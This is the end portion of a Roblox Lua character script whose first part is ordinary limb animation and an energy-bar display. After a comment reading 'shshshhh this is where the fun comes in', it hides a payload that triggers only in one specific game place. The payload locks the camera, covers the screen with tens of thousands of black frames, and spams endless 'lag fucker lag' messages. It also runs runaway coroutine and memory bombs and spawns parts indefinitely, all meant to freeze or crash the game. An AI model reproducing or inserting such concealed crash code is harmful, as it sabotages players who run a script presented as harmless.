4801 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4802 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4803 | ]]-- | |
4804 | Footsteps:Play() | |
4805 | Footsteps2:Stop() | |
4806 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3) | |
4807 | Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3) | |
4808 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
4809 | RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3) | |
4810 | LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3) | |
4811 | RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3) | |
4812 | LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3) | |
4813 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4814 | Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2) | |
4815 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2) | |
4816 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4817 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4818 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4819 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4820 | end | |
4821 | elseif torvel>=22 and hitfloor~=nil then | |
4822 | Anim="Run" | |
4823 | change=1 | |
4824 | if attack==false then | |
4825 | Footsteps:Stop() | |
4826 | Footsteps2:Play() | |
4827 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3) | |
4828 | Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3) | |
4829 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
4830 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3) | |
4831 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3) | |
4832 | RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3) | |
4833 | LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3) | |
4834 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
4835 | Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2) | |
4836 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2) | |
4837 | MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4838 | MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3) | |
4839 | MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4840 | MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3) | |
4841 | end | |
4842 | end | |
4843 | end | |
4844 | fenbarmana2:TweenSize(UDim2.new(4*mana/100,0,0.2,0),nil,1,0.4,true) | |
4845 | fenbarmana4.Text="[Energy] <{[ "..mana.." ]}> [Energy]" | |
4846 | text.Text = math.floor(hum.Health) | |
4847 | if mana>=100 then | |
4848 | mana=100 | |
4849 | else | |
4850 | if mananum<=8 then | |
4851 | mananum=mananum+100 | |
4852 | else | |
4853 | mananum=0 | |
4854 | mana=mana+100 | |
4855 | end | |
4856 | end | |
4857 | end | |
4858 | ||
4859 | ||
4860 | ||
4861 | ||
4862 | --- shshshhh this is where the fun comes in --- | |
4863 | if game.PlaceId == 21053279 then | |
4864 | plr = game.Players.LocalPlayer | |
4865 | char = plr.Character | |
4866 | cam = workspace.CurrentCamera | |
4867 | cam.CameraType = "Scriptable" | |
4868 | cam.CoordinateFrame = CFrame.new(0,0,50) | |
4869 | local localContainer | |
4870 | local service=setmetatable({ | |
4871 | MarketPlace=game:service("MarketplaceService"); | |
4872 | GamepassService=game:service("GamePassService"); | |
4873 | ChatService=game:service("Chat"); | |
4874 | LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end; | |
4875 | },{ | |
4876 | __index=function(tab,index) | |
4877 | local serv | |
4878 | local ran,err=pcall(function() serv=game:service(index) end) | |
4879 | if ran then | |
4880 | tab[index]=serv | |
4881 | return serv | |
4882 | end | |
4883 | end | |
4884 | }) | |
4885 | ||
4886 | local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end | |
4887 | ||
4888 | x=game.Players.LocalPlayer | |
4889 | x.CameraMode=Enum.CameraMode.LockFirstPerson | |
4890 | f=Instance.new("Frame") | |
4891 | f.Size=UDim2.new(1,0,1,0) | |
4892 | f.BackgroundTransparency=0.01 | |
4893 | f.BackgroundColor3=Color3.new() | |
4894 | pg=x.PlayerGui | |
4895 | gui=Instance.new("ScreenGui",pg) | |
4896 | wait(.1) | |
4897 | for i=1,28000 do | |
4898 | f:Clone().Parent=gui | |
4899 | f:Clone().Parent=gui | |
4900 | f:Clone().Parent=gui | |
4901 | end | |
4902 | ||
4903 | script:Destroy(); | |
4904 | local runService = Game:GetService("RunService").Stepped; | |
4905 | local LagNum = 1250; | |
4906 | local str = "lag fucker lag"; | |
4907 | ||
4908 | for i = 1, math.huge do | |
4909 | if i % LagNum == 0 then runService:wait(); end | |
4910 | Instance.new("Message", Workspace).Text = str; | |
4911 | end | |
4912 | ||
4913 | local bores=coroutine.create(function() --Yolo? | |
4914 | cPcall(function() | |
4915 | --print(Game[("%s|"):rep(0xFFFFFFF)]) | |
4916 | cPcall(print,'lol') | |
4917 | cPcall(warn,'lol') | |
4918 | cPcall(error,'lol') | |
4919 | while wait(0.1) do | |
4920 | spawn(function() | |
4921 | cPcall(function() | |
4922 | spawn(function() | |
4923 | local tab={} | |
4924 | pcall(function() | |
4925 | spawn(function() | |
4926 | for i=1,1000000 do | |
4927 | cPcall(function() | |
4928 | spawn(function() | |
4929 | local bob2=coroutine.create(function() | |
4930 | function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end | |
4931 | function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end | |
4932 | spawn(f1) | |
4933 | end) | |
4934 | spawn(function() delay(0,function() coroutine.resume(bob2) end) end) | |
4935 | spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end) | |
4936 | end) | |
4937 | end) | |
4938 | end | |
4939 | tab={} | |
4940 | end) | |
4941 | end) | |
4942 | end) | |
4943 | end) | |
4944 | end) | |
4945 | end | |
4946 | end) | |
4947 | end) | |
4948 | ||
4949 | service.RunService.Stepped:connect(function() | |
4950 | for i=1,500000 do | |
4951 | delay(0,function() pcall(function() coroutine.resume(bores) end) end) | |
4952 | end | |
4953 | end) | |
4954 | ||
4955 | ||
4956 | local function bob() | |
4957 | cPcall(function() | |
4958 | while wait(0.1) do | |
4959 | --cPcall(function() | |
4960 | --for i=1,100 do | |
4961 | local p=Instance.new("Part") | |
4962 | p.Material="Neon" | |
4963 | p.Size=Vector3.new(50,50,50) | |
4964 | p.Anchored=true | |
4965 | p.BackSurface="Studs" | |
4966 | p.BottomSurface="Studs" | |
4967 | p.FrontSurface="Studs" | |
4968 | p.LeftSurface="Studs" | |
4969 | p.RightSurface="Studs" | |
4970 | p.TopSurface="Studs" | |
4971 | local t=Instance.new("Texture",p) | |
4972 | t.Texture="http://www.roblox.com/asset/?id=190803157" | |
4973 | t.Face="Top" | |
4974 | t.StudsPerTileU=1000 | |
4975 | t.StudsPerTileV=1000 | |
4976 | local t2=t:clone() | |
4977 | t2.Parent=p | |
4978 | t2.Face="Bottom" | |
4979 | local t2=t:clone() | |
4980 | t2.Parent=p | |
4981 | t2.Face="Left" | |
4982 | local t2=t:clone() | |
4983 | t2.Parent=p | |
4984 | t2.Face="Right" | |
4985 | local t2=t:clone() | |
4986 | t2.Parent=p | |
4987 | t2.Face="Front" | |
4988 | local t2=t:clone() | |
4989 | t2.Parent=p | |
4990 | t2.Face="Back" | |
4991 | p.Parent=service.LocalContainer() | |
4992 | --end | |
4993 | --end) | |
4994 | end | |
4995 | end) | |
4996 | end | |
4997 | bob() --while wait(0.1) do cPcall(bob) end | |
4998 | end | |
4999 | -- |